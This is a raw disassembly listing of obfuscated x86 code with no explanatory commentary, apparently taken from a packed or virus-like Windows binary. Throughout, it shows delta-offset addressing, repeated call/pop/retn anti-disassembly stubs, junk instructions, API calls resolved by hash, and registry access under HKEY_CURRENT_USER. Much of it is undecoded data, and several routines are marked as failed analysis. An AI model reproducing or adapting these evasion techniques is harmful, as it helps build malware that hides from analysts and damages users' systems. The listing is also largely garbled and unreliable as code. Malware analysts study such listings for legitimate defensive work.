		dd 66000000h, 0E9DA7EBFh, 116h,	0EDDA8166h, 57B5FF0Bh
		dd 6A07EC2Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 133CC355h, 52EB1B29h, 0FB8B66CCh
		dd 13995FFh, 8D8907E9h,	7E92B11h, 8C0F006Ah, 6,	19A98D8Bh
		dd 6A07E9h, 0DE960h, 0F9AF0000h, 625019EFh, 73DA5F2Ch
		dd 0FD70870h, 38Fh, 0EEDB8000h,	6AFA8B61h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
		dd 3C9C6EA4h, 75F9D56Fh, 5E9006Ah, 0C3000000h, 0A6CA7A51h
		dd 8E857h, 8AD70000h, 99F704FAh, 89B6427Ah, 6A5F5Ah, 0AC98D89h
		dd 6A07E9h, 8DFFB70Fh, 0EC2B5B85h, 6A50F907h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0D460C352h, 0B782B194h, 42AE4D6Eh, 2A05B509h, 0FFF807E9h
		dd 0E91C0D95h, 0DE907h,	14C0000h, 7EE82B4Eh, 0FFAC69E2h
		dd 310BEC1Ch, 0E9312985h, 0FFF88307h, 116850Fh,	858D0000h
		dd 7EBE2BDh, 0BB73BA66h, 0EA81D0FFh, 17B19E52h,	8D89006Ah
		dd 7E91D99h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 56CA14C3h, 10798589h, 665A07E9h
		dd 6ACF8Bh, 8E8h, 15826F00h, 2D348DC4h,	0B4B656FFh, 6A5A5Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 34C35040h
		dd 6630C2DBh, 0F86735B3h, 0BB9006Ah, 6A47E134h,	0FA8B6600h
		dd 2B5B858Dh, 0BD2907ECh, 7E90261h, 0CB6AB950h,	95FF4425h
		dd 7E91C0Dh, 0FFFF883h,	6B85h, 0F8BF0F00h, 2563B58Dh, 8F0F07ECh
		dd 1Dh,	11E8h, 0B5ADF000h, 9CC8E03h, 43E5A19h, 7227A76Bh
		dd 830F1D03h, 0
; ---------------------------------------------------------------------------
		pop	edx
		lea	eax, [ebp+7EBD19Dh]
		mov	edx, eax
		call	eax
		jmp	loc_5B7E89
; ---------------------------------------------------------------------------
		or	byte ptr [edx+ebx*2+0C3AF073h],	20h
		dec	edx


loc_5B7E89:				; CODE XREF: sdfs____:005B7E7Bj
		push	0
		mov	[ebp+7E90815h],	ecx
		call	dword ptr [ebp+7E9138Dh]
		js	loc_5B7EB0
		call	sub_5B7EAA
		rep imul edx, [ebx-63h], 6FF92FBFh

; =============== S U B	R O U T	I N E =======================================



sub_5B7EAA	proc near		; CODE XREF: sdfs____:005B7E9Dp

; FUNCTION CHUNK AT 005B7F06 SIZE 0000002A BYTES

		mov	edi, 28279E70h
		pop	edx


loc_5B7EB0:				; CODE XREF: sdfs____:005B7E97j
		mov	[ebp+7EC2B57h],	eax
		jge	loc_5B7EC2
		pusha
		clc
		movsx	esi, ax
		popa


loc_5B7EC2:				; CODE XREF: sub_5B7EAA+Cj
		push	0
		mov	[ebp+7E919DDh],	ebx
		lea	eax, [ebp+7EC2B4Fh]
		jge	loc_5B7ED7
		clc


loc_5B7ED7:				; CODE XREF: sub_5B7EAA+26j
		push	eax
		call	sub_5B7EEC
		arpl	[esi+4685336Ch], cx
		loop	loc_5B7F06
		cmp	al, al
		les	ecx, [esi+70h]
		pop	ebp
		xchg	eax, esi
sub_5B7EAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5B7EEC	proc near		; CODE XREF: sub_5B7EAA+2Ep

; FUNCTION CHUNK AT 005B7F56 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005B7F89 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005B9A74 SIZE 0000002D BYTES

		call	near ptr loc_5B7EFB+3
		in	al, 9Ah
		xor	ebx, ebx
		rep jno	short loc_5B7F56
		pop	ebp
		db	64h
		scas	dword ptr es:[edi]


loc_5B7EFB:				; CODE XREF: sub_5B7EECp
		test	[edx+870F6Ah], ebx
sub_5B7EEC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
		pop	edx
		pop	edi
; START	OF FUNCTION CHUNK FOR sub_5B7EAA


loc_5B7F06:				; CODE XREF: sub_5B7EAA+39j
		push	4
		mov	ecx, [ebp+7E91DB1h]
		lea	eax, [ebp+7E90905h]
		mov	di, bx
		push	eax
		mov	ecx, [ebp+7E92549h]
		mov	dh, 85h
		push	0
		clc
		push	0
		push	0
		push	ecx
		call	sub_5B7F30
		and	[ecx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_5B7EAA

; =============== S U B	R O U T	I N E =======================================



sub_5B7F30	proc near		; CODE XREF: sub_5B7EAA+7Ep

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ch
		inc	ecx
		push	ecx
		retn
sub_5B7F30	endp

; ---------------------------------------------------------------------------
		dd 47405356h, 4A9B64C9h, 8D85012Fh, 0E907E918h,	6
		db 6Fh,	0F0h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B7EEC


loc_5B7F56:				; CODE XREF: sub_5B7EEC+9j
		rep xchg ax, dx
		imul	ebp, [edx+1], 66h
		mov	edx, 0B5FF0975h
		push	edi
		sub	ebp, esp
		pop	es
		jb	loc_5B7F72
		mov	[ebp+7E92FFDh],	eax


loc_5B7F72:				; CODE XREF: sub_5B7EEC+7Aj
		jmp	loc_5B7F89
; END OF FUNCTION CHUNK	FOR sub_5B7EEC
; ---------------------------------------------------------------------------
		lahf
		mov	edx, 1110EFh
		sub	eax, 0CA3EA813h
		add	dl, [esp+edi*4-2Ah]
		jl	short loc_5B7FF8
		sti
; START	OF FUNCTION CHUNK FOR sub_5B7EEC


loc_5B7F89:				; CODE XREF: sub_5B7EEC:loc_5B7F72j
		call	dword ptr [ebp+7E91FE1h]
		or	dh, 2Ch
		jmp	loc_5B9A74
; END OF FUNCTION CHUNK	FOR sub_5B7EEC
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5B7FA2
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B7FA2	proc near		; CODE XREF: sdfs____:005B7F9Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5B7FA2	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 0E5h
		dd 0AD4EABFEh, 0F18166F3h, 0C08B7CA8h, 0EDBE6660h, 199D23B2h
		dd 6107E900h, 18A5BD83h, 750007E9h, 45BD8309h, 7E91Ah
		dd 53501974h, 0D2B8C08Bh, 89000007h, 0E911F985h, 0CE9D8D07h
		dd 0FF07EBD7h, 83585BD3h
; ---------------------------------------------------------------------------


loc_5B7FF8:				; CODE XREF: sdfs____:005B7F86j
		mov	ebp, 7E91A45h
		add	[edi+edx+50h], dh
		push	ebx
		mov	eax, 7D2h
		mov	[ebp+7E911F9h],	eax
		lea	ebx, [ebp+7EBD4BDh]
		call	ebx	; _iob
		pop	ebx
		pop	eax
		mov	ch, dl
		add	[ebp+7E92E41h],	eax
		push	0
		push	ecx
		call	sub_5B802A
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B802A	proc near		; CODE XREF: sdfs____:005B8022p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_5B802A	endp

; ---------------------------------------------------------------------------
		dw 89E1h
; ---------------------------------------------------------------------------
		push	ss
		test	eax, 8BC08B71h
		mov	ebp, 7E91885h
		mov	[ebp+7E90269h],	esi
		mov	dword ptr [ebp+7E91B69h], 1
		add	dl, 0D0h
		push	0CEE4E7B8h
		push	dword ptr [ebp+7E9347Dh]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7E934E5h],	eax
		lea	eax, [ebp+7EC2DB3h]
		push	eax
		lea	eax, [ebp+7EC3070h]
		push	eax
		push	80000001h
		call	dword ptr [ebp+7E934E5h]
		or	eax, eax
		jnz	short loc_5B809A
		mov	dword ptr [ebp+7E91379h], 1


loc_5B809A:				; CODE XREF: sdfs____:005B808Ej
		push	0C005DBD4h
		push	dword ptr [ebp+7E9347Dh]
		lea	eax, [ebp+7E93ABCh]
		call	eax
		mov	[ebp+7E91D8Dh],	eax
		lea	eax, [ebp+7EC2000h]
		push	eax
		push	dword ptr [ebp+7E92669h]
		call	dword ptr [ebp+7E92489h]
		or	eax, eax
		jz	short loc_5B80D5
		mov	ebx, eax
		lea	eax, [ebp+7EC2FB3h]
		push	eax
		call	ebx	; _iob


loc_5B80D5:				; CODE XREF: sdfs____:005B80C8j
		lea	eax, [ebp+7EC2FB3h]
		cmp	word ptr [eax],	9
		jnz	short loc_5B80EB
		mov	dword ptr [ebp+7E921CDh], 1


loc_5B80EB:				; CODE XREF: sdfs____:005B80DFj
		call	dword ptr [ebp+7E91665h]
		and	eax, 0FFh
		cmp	eax, 5
		jnb	short loc_5B8105
		mov	dword ptr [ebp+7E919A5h], 1


loc_5B8105:				; CODE XREF: sdfs____:005B80F9j
		push	0
		push	ebx
		call	sub_5B8110
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8110	proc near		; CODE XREF: sdfs____:005B8108p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B8110	endp

; ---------------------------------------------------------------------------
		stosd
		sbb	ah, [ecx-0C9AEDEEh]
		cmc
		add	di, 0FD13h
		mov	edx, [ebp+7E90289h]
		xor	[ebp+7E92971h],	ebx
		cmp	byte ptr [ebp+7EC2BC2h], 0
		jz	loc_5B8159
		cmp	dword ptr [ebp+7EC306Ch], 0
		jz	loc_5B816A
		mov	edx, [ebp+7E9150Dh]


loc_5B8159:				; CODE XREF: sdfs____:005B8140j
		jmp	loc_5B9A74
; ---------------------------------------------------------------------------
		add	[ebp+7E91081h],	eax
		and	edx, 2A0AB547h


loc_5B816A:				; CODE XREF: sdfs____:005B814Dj
		cmp	dword ptr [ebp+7E921CDh], 0
		jnz	loc_5B830C
		push	0
		push	edi
		call	sub_5B8182
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8182	proc near		; CODE XREF: sdfs____:005B817Ap

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B8182	endp

; ---------------------------------------------------------------------------
a9rNemLxu1sPj	db '"9R"¿…Œ+ì',7,'‹•U1é',7,'Pj',0
; ---------------------------------------------------------------------------
		push	edi
		call	sub_5B81AF
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B81AF	proc near		; CODE XREF: sdfs____:005B81A7p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B81AF	endp

; ---------------------------------------------------------------------------
		pop	ds
		mov	ss:0EB21C78Ah, al
		mov	edi, [ebp+7E91661h]
		push	1
		push	0
		push	ebx
		call	sub_5B81D9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B81D9	proc near		; CODE XREF: sdfs____:005B81D1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5B81D9	endp

; ---------------------------------------------------------------------------
		db 0CDh, 0D3h, 36h
		dd 11A9F6FEh, 0CE9006Ah, 0D0000000h, 0A130B393h, 973798C8h
		dd 6A2CE819h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 4DD75CD0h, 66CC381Dh, 0FFB182B9h
		dd 0E91D7995h, 29C88B07h, 0E90F3595h, 0B6858907h, 6A07EC2Bh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 9B92C357h, 14E9h,	709CC200h, 28681EDBh, 0B88BDB6Bh
		dd 0CC4CB56Ch, 0C17817E7h, 6AFF6AB4h, 3E85500h,	20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 46E7C355h
		dd 6F61A8BCh, 2AA481E0h, 0AED28166h, 0FFC88B1Ah, 0EC2BB6B5h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 12E99Fh,	79BC0000h, 3D5ED17Dh, 0EB5558F7h
		dd 4532C604h, 0B535C986h, 233D95FFh, 6A07E9h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0C056F9C3h
		dd 894E0F32h, 958BCA95h, 7E90E3Dh
; ---------------------------------------------------------------------------


loc_5B830C:				; CODE XREF: sdfs____:005B8171j
		lea	eax, [ebp+7EC1FC7h]
		mov	edi, esi
		mov	edi, [ebp+7E901F1h]
		push	eax
		or	[ebp+7E9015Dh],	edx
		call	dword ptr [ebp+7E90041h]
		adc	ecx, 6A76EA21h
		mov	[ebp+7EC2051h],	eax
		sub	edi, 6B974308h
		jl	loc_5B8345
		mov	ecx, [ebp+7E93089h]


loc_5B8345:				; CODE XREF: sdfs____:005B8339j
		lea	eax, [ebp+7EC1FD4h]
		push	0
		push	edi
		call	sub_5B8356
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8356	proc near		; CODE XREF: sdfs____:005B834Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5B8356	endp

; ---------------------------------------------------------------------------
		dw 70FEh
; ---------------------------------------------------------------------------
		sub	eax, 81668CC3h
		fisub	dword ptr [esi]
		inc	ecx
		push	eax
		push	0
		push	ecx
		call	sub_5B837C
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B837C	proc near		; CODE XREF: sdfs____:005B8374p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 15h
		inc	ecx
		push	ecx
		retn
sub_5B837C	endp

; ---------------------------------------------------------------------------
		dd 958BEACDh, 7E90F25h,	2051B5FFh, 0BD2907ECh, 7E929D9h
		dd 248995FFh, 6E907E9h,	54000000h, 0C226F6E5h, 0F185894Dh
		dd 6007E92Eh, 30299D8Bh, 858907E9h, 7E9166Dh, 42858D61h
		dd 0F07EC20h, 586h, 0DA816600h,	66502411h, 0BCCBD981h
		dd 2051B5FFh, 95FF07ECh, 7E92489h, 12618D89h, 858907E9h
		dd 7EC2065h, 1BC98531h,	858D07E9h, 7EC2021h, 6650CB8Bh
		dd 0CD58CF81h, 2051B5FFh, 950307ECh, 7E91091h, 248995FFh
		dd 0B96607E9h, 8E9F92Ah, 0E8000000h, 0BCDC2A6h,	89234F35h
		dd 0EC205D85h, 0B5895107h, 7E92189h, 14858D59h,	8907EC20h
		dd 0E9247185h, 6A5007h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0E14228C3h, 8B05D553h, 51B5FFC8h
		dd 0B107EC20h, 8995FF78h, 6A07E924h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 497FC357h
		dd 895DFFF3h, 0EC206185h, 2F858D07h, 6A07EC20h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 5BC8C351h, 294DE441h, 0E92FF19Dh, 0CA816607h, 0F95091EDh
		dd 2051B5FFh, 95FF07ECh, 7E92489h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0AC35343h, 0B70FA28Ch, 5D8589D6h
		dd 0F07E90Ch, 286h, 162B500h, 0E91A218Dh, 0E3858D07h, 0F07EC1Fh
		dd 28Fh, 50FAB200h, 0E850006Ah,	3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 12C35040h, 5C5FDE05h,	0E4D5F0D4h, 51B5FFFCh
		dd 0FF07EC20h, 0E9248995h, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 0EE917488h
		dd 45236EF5h, 5585896Dh, 8B07EC20h, 0E908ED8Dh,	0F2858D07h
		dd 6007EC1Fh, 2D958B60h, 107E921h, 0E92D49B5h, 89616107h
		dd 0E91345B5h, 6A5007h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0C362B1C3h, 0F60325Bh, 870FDAB7h
		dd 0
; ---------------------------------------------------------------------------
		popa
		and	dx, 7A3Ah
		push	dword ptr [ebp+7EC2051h]
		mov	ecx, esi
		call	dword ptr [ebp+7E92489h]
		mov	edi, 0F8A0A98h
		mov	[ebp+7EC2059h],	eax
		jmp	loc_5B85F1
; ---------------------------------------------------------------------------
		db 8Bh,	0FFh
		dw 0CFE5h
		db 1
; ---------------------------------------------------------------------------


loc_5B85F1:				; CODE XREF: sdfs____:005B85E7j
		push	104h
		mov	edi, 91961FFh
		mov	[ebp+7E91C21h],	edx
		lea	eax, [ebp+7EC20E9h]
		push	0
		push	esi
		call	sub_5B8612
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8612	proc near		; CODE XREF: sdfs____:005B860Ap

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 18h
		inc	esi
		push	esi
		retn
sub_5B8612	endp

; ---------------------------------------------------------------------------
		dw 8174h
		dd 5072F8F0h, 0F470BF66h, 21ED858Dh, 816607ECh,	50DD16E1h
		dd 1F5D8D8Bh, 95FF07E9h, 7E900CDh, 19D58D89h, 0C08507E9h
		dd 23850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 8B56F0C3h, 0E920598Dh, 0C2BD8007h
		dd 7EC2Bh, 1C850Fh, 958B0000h, 7E90749h, 13E7E9h, 0E9CBB500h
		dd 0Ah,	938C11E4h, 0B21D4FCFh, 0BD832DB8h, 7E921CDh, 31850F00h
		dd 66000000h, 0BD83CB8Bh, 7EC306Ch, 40840F00h, 0E8000000h
		dd 0Fh,	0CFD9CB33h, 6FBC5B35h, 6D80A855h, 0F8CEAECh, 68Ch
		dd 81B50900h, 5F07E926h, 2086858Dh, 0F78107ECh,	5D1A9519h
		dd 1387E9h, 15958B00h, 0E907E935h, 0Eh,	8DD78B66h, 0EC207185h
		dd 0D7816607h, 8D502A99h, 0EC20E985h, 0AD9D2907h, 5007E90Eh
		dd 0F0D98166h, 0CDBD836Eh, 7E921h, 35840Fh, 958B0000h
		dd 7E9150Dh, 220F858Dh,	6A07ECh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 594811C3h, 16A136ECh
		dd 2CE9h, 8D5F5700h, 0EC21F885h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 89F5CE62h
		dd 0E923018Dh, 0B70F5007h, 47858DFFh, 0BA07EC22h, 16966026h
		dd 1BD8950h, 0FF07E920h, 0E90AD595h, 0E9B58907h, 8307E92Fh
		dd 6A10C4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0C08B08C3h, 1B19958Bh, 0BD8307E9h, 7E918A5h
		dd 83097500h, 0E91A45BDh, 19740007h, 0C08B5350h, 7D3B8h
		dd 0F9858900h, 8D07E911h, 0EBD7CE9Dh, 5BD3FF07h, 45BD8358h
		dd 7E91Ah, 53501774h, 7D3B8h, 0F9858900h, 8D07E911h, 0EBD4BD9Dh
		dd 5BD3FF07h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0D8CE2F7Eh, 1278F2E5h, 0BD8B8BC3h
		dd 7E92F09h, 2A698D03h,	0BF0F07E9h, 57C08BD6h, 71BD815Ah
		dd 6F07EC20h, 0F616572h, 9284h,	0E7816600h, 858DB05Ch
		dd 7EC20E9h, 26858D50h,	5007EC22h, 2247858Dh, 0FF5007ECh
		dd 0E90AD595h, 0CC48307h, 265985C6h, 684407E9h,	96A3184Fh
		dd 2669B5FFh, 858D07E9h, 7E93ABCh, 0D88BD0FFh, 2247858Dh
		dd 0FF5007ECh, 71858DD3h, 5007EC20h, 20E9858Dh,	835007ECh
		dd 0E921CDBDh, 8740007h, 220F858Dh, 6EB07ECh, 21F8858Dh
		dd 8D5007ECh, 0EC224785h, 95FF5007h, 7E90AD5h, 8B10C483h
		dd 0E917D9BDh, 8800F07h, 0F000000h, 280h, 0FF5A5300h, 0E9166595h
		dd 49B58907h, 2507E91Ch, 0FFh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0DC35343h, 6D734DA5h, 0A8D650ADh
		dd 0F88391B2h, 3B830F05h, 60000000h, 474FBB66h,	1F71958Bh
		dd 0C76107E9h, 0E919A585h, 107h, 68F0F00h, 8B000000h, 0E907BD95h
		dd 0A5858D07h, 0BF07EC20h, 594625AFh, 46E9h, 3840F00h
		dd 66000000h, 0BD83F98Bh, 7E921CDh, 27840F00h, 0B9000000h
		dd 469A6FBEh, 20D0858Dh, 8D8B07ECh, 7E92F71h, 1AE9h, 0CE900h
		dd 58140000h, 5AA2A648h, 3E019C29h, 858D77E1h, 7EC20B2h
		dd 89DBE980h, 0EC20E585h, 91F78107h, 831EA3C1h,	0E921CDBDh
		dd 850F0007h, 24h, 92D8D89h, 860F07E9h,	5, 0FA8313BFh
		dd 6CBD8370h, 7EC30h, 2E840Fh
dword_5B89E0	dd 8B0F0000h						; sub_58A67C-E1r ...
		align 8
		jmp	loc_5B9A74
; ---------------------------------------------------------------------------
		push	0
		push	ebp
		call	sub_5B89F8
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B89F8	proc near		; CODE XREF: sdfs____:005B89F0p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B89F8	endp

; ---------------------------------------------------------------------------
		adc	ecx, es:[ecx]
		popf
		push	ecx
		sub	ebp, ecx
		pop	es
		jmp	loc_5B8EDC
; ---------------------------------------------------------------------------
		pusha
		or	cl, 3Bh
		add	ebx, [ebp+7E9119Dh]
		popa
		mov	eax, eax
		stc
		cmp	dword ptr [ebp+7E918A5h], 0
		jnz	short loc_5B8A35
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_5B8A4E


loc_5B8A35:				; CODE XREF: sdfs____:005B8A2Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D4h
		mov	[ebp+7E911F9h],	eax
		lea	ebx, [ebp+7EBD7CEh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B8A4E:				; CODE XREF: sdfs____:005B8A33j
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_5B8A6E
		push	eax
		push	ebx
		mov	eax, 7D4h
		mov	[ebp+7E911F9h],	eax
		lea	ebx, [ebp+7EBD4BDh]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B8A6E:				; CODE XREF: sdfs____:005B8A55j
		mov	[ebp+7E91081h],	ebx
		push	0
		push	ebx
		call	sub_5B8A7F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B8A7F	proc near		; CODE XREF: sdfs____:005B8A77p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_5B8A7F	endp

; ---------------------------------------------------------------------------
		db 0A4h
		dd 0B76E016Ch, 0E5BD33EAh, 8B07E90Ah, 3F68C0h, 958B000Fh
		dd 7E91271h, 14E9006Ah,	0FE000000h, 9C22F12Dh, 61A7ED0h
		dd 7B3D7AA2h, 0BE845930h, 6AEFD5DDh, 13E96000h,	3F000000h
		dd 863A02E8h, 0D64CB7F0h, 1A0EA74Ch, 6E6BADF6h,	858958F9h
		dd 7E9157Dh, 0F195FF61h, 0F07E92Eh, 86h, 0FC08500h, 1285h
		dd 0DE900h, 0BF4B0000h,	60ACDC0Dh, 4B34C355h, 892FE4FBh
		dd 0EC206985h, 0DDBD8B07h, 6A07E92Dh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h
		dd 68F0F71h, 29000000h,	0E916D5B5h, 81006A07h, 79B9E0D2h
		dd 80006A18h, 6AC1E1h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 57C35141h, 6AF88B66h,	0D18B6600h, 2247858Dh
		dd 6A07ECh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0FF42A6C3h, 0B64D66D2h, 800F37D7h, 8, 0BC28152h
		dd 5A204BF6h, 55006A50h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 683A4436h, 15C5BD8Bh, 16A07E9h, 6800Fh
		dd 95890000h, 7E92A71h,	1C7A4DB9h, 89016A18h, 0E92E9D85h
		dd 57016A07h, 20C5B966h, 1FF6859h, 810F000Fh, 0Bh, 58D0Fh
		dd 0F9BF0000h, 833754EFh, 0E921CDBDh, 840F0007h, 1Bh, 0EA5BD0Bh
		dd 0FE8B07E9h, 20C6858Dh, 0F98B07ECh, 12E9h, 0F19D8900h
		dd 8D07E925h, 0EC209C85h, 18D8B07h, 5007E909h, 1839958Bh
		dd 6A5007E9h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0DD08C356h, 0E9123B4Fh, 0Ch, 8BE18A6Ch
		dd 0AC95237Eh, 22D68A0Bh, 2069B5FFh, 6A07ECh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0CC9CDEC3h
		dd 0EC6F7DD7h, 860FFBECh, 2, 95FF48B5h,	7EC2055h, 0BE9h
		dd 4B762E00h, 0FC7306EDh, 129DEC2Eh, 850FC085h,	2Fh, 1ECDBD89h
		dd 72E907E9h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 8434C357h, 616B3E2Bh
		dd 89DF8948h, 0EC206D85h, 890F6007h, 3,	61A4D180h, 206DB5FFh
		dd 958907ECh, 7E92665h,	2B81BD8Bh, 95FF07E9h, 7E90C5Dh
		dd 1855958Bh, 9E907E9h,	0D000000h, 816DFF43h, 714218AFh
		dd 850FC085h, 9, 3860Fh, 8B660000h, 8B106AD6h, 0E9344995h
		dd 8DB58907h, 8307E92Fh, 0E921CDBDh, 840F0007h,	22h, 0EDCF8166h
		dd 0C6858D0Fh, 8107EC20h, 8EF774D1h, 4FE94Bh, 810F0000h
		dd 6, 16C9B589h, 858D07E9h, 7EC209Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0C6C35545h,	383AF40Ah, 11E9F133h
		dd 60000000h, 12825A15h, 26B67AF5h, 0D65F1802h,	7740A3EDh
		dd 0C4F18166h, 0BEB150D6h, 2069B5FFh, 15007ECh,	0E912B98Dh
		dd 0BF0F5907h, 6195FFFBh, 0F07EC20h, 682h, 0FD8D8900h
		dd 8507E906h, 2F850FC0h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9984C352h
		dd 9E979h, 32DB0000h, 5F5C5888h, 0F5B5B4Ah, 8589F8BFh
		dd 7EC206Dh, 1C47B966h,	2DB9006Ah, 6A7F7036h, 0B5FFFC00h
		dd 7EC206Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 14h,	79C35545h, 26319589h, 95FF07E9h, 7EC2059h, 0EA5BD89h
		dd 0BD8B07E9h, 7E930F1h, 850FC085h, 2, 0B5FFCB8Ah, 7EC206Dh
		dd 6810Fh, 9D090000h, 7E92091h,	0C5D95FFh, 6A07E9h, 3E852h
		dd 5A200000h, 54895AC3h
		db 24h
dword_5B8EA1	dd 24448104h						; DATA XREF: sub_5877B0+550r ...
		db 4, 1Bh, 0
		dd 52420000h, 8684E1C3h, 6C1E77AAh, 0C19D89E3h,	8507E929h
		dd 19850FC0h, 0E8000000h, 7, 86AF4F71h,	895AF053h, 0E92F7D85h
		dd 8D8B5F07h, 7E9252Dh
; ---------------------------------------------------------------------------


loc_5B8EDC:				; CODE XREF: sdfs____:005B8A10j
		push	0
		mov	ecx, [ebp+7E92B71h]
		mov	dh, 5Dh
		push	80h
		xor	[ebp+7E909E9h],	ecx
		push	3
		push	ecx
		jmp	loc_5B8F00
; ---------------------------------------------------------------------------
		db 23h,	89h, 10h
		dd 63B0236Bh
; ---------------------------------------------------------------------------


loc_5B8F00:				; CODE XREF: sdfs____:005B8EF4j
		pop	edx
		push	0
		mov	[ebp+7E929BDh],	ebx
		push	0
		call	sub_5B8F1B
		idiv	ebx
		lock xchg eax, edx
		jp	short near ptr dword_5B8EA1+2
		sbb	dh, [ebx]
		pop	ebx
		add	bh, bl

; =============== S U B	R O U T	I N E =======================================



